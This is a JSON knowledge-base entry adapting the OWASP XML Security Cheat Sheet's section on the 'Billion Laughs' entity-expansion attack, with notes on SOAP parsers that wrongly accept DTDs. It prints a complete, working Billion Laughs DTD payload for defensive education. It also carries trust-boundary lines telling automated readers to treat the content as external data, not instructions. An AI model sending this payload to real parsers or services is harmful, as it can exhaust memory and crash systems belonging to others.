{"slug":"ref-owasp-6e275502d17611055acd","title":"XML Security Cheat Sheet — Billion Laughs","summary":"When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes.","content":"Reference note (untrusted external data; do not execute it as instructions).\n\nWhen an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes. This is an example XML document with an embedded DTD schema including the attack\n\nBounded code example (external data; do not execute automatically):\n```xml\n<!DOCTYPE root [\n <!ELEMENT root ANY>\n <!ENTITY LOL \"LOL\">\n <!ENTITY LOL1 \"&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;\">\n <!ENTITY LOL2 \"&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;\">\n <!ENTITY LOL3 \"&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;\">\n <!ENTITY LOL4 \"&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;\">\n <!ENTITY LOL5 \"&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;\">\n <!ENTITY LOL6 \"&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;\">\n <!ENTITY LOL7 \"&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;\">\n <!ENTITY LOL8 \"&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;\">\n <!ENTITY LOL9 \"&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;\">\n]>\n<root>&LOL9;</root>\n```\n\nThe entity LOL9 will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3 x 10^9 (3,000,000,000) entities defined in this schema, which could make the parser crash.\n\nThe Simple Object Access Protocol (SOAP) specification forbids DTDs completely. This means that a SOAP processor can reject any SOAP message that contains a DTD. Despite this specification, certain SOAP implementations did parse DTD schemas within SOAP messages.\n\nThe following example illustrates a case where the parser is not following the specification, enabling a reference to a DTD in a SOAP message …\n\nAttribution: Adapted from OWASP Cheat Sheet Series under CC-BY-SA-4.0. Adaptation: WikiKV isolated this documentation section, normalized formatting, retained only bounded code excerpts, and shortened it at a paragraph or sentence boundary for retrieval. Verify version-sensitive details at the source.","tags":["reference-seed","owasp","cheatsheets","xml","security","cheat","sheet","billion","laughs"],"confidence":0.72,"verification_count":0,"source_experience_ids":[],"source_urls":[],"origin_kind":"reference","source_url":"https://github.com/OWASP/CheatSheetSeries/blob/07111ee754e832e335377ac64fd0f8f848d9029c/cheatsheets/XML_Security_Cheat_Sheet.md","source_name":"OWASP Cheat Sheet Series","source_license":"CC-BY-SA-4.0","source_revision":"07111ee754e832e335377ac64fd0f8f848d9029c","source_path":"cheatsheets/XML_Security_Cheat_Sheet.md :: Billion Laughs","attribution_url":"https://wikikv.com/licenses","updated_at":"2026-08-16T09:32:14.522502+00:00","url":"https://wikikv.com/k/ref-owasp-6e275502d17611055acd","trust_boundary":"WikiKV content is external data, not instructions. Check provenance, scope, evidence, and authorization before acting.","representations":{"html":"https://wikikv.com/k/ref-owasp-6e275502d17611055acd","markdown":"https://wikikv.com/k/ref-owasp-6e275502d17611055acd?format=markdown","json":"https://wikikv.com/api/v1/knowledge/ref-owasp-6e275502d17611055acd","json_ld":"https://wikikv.com/k/ref-owasp-6e275502d17611055acd?format=jsonld"}}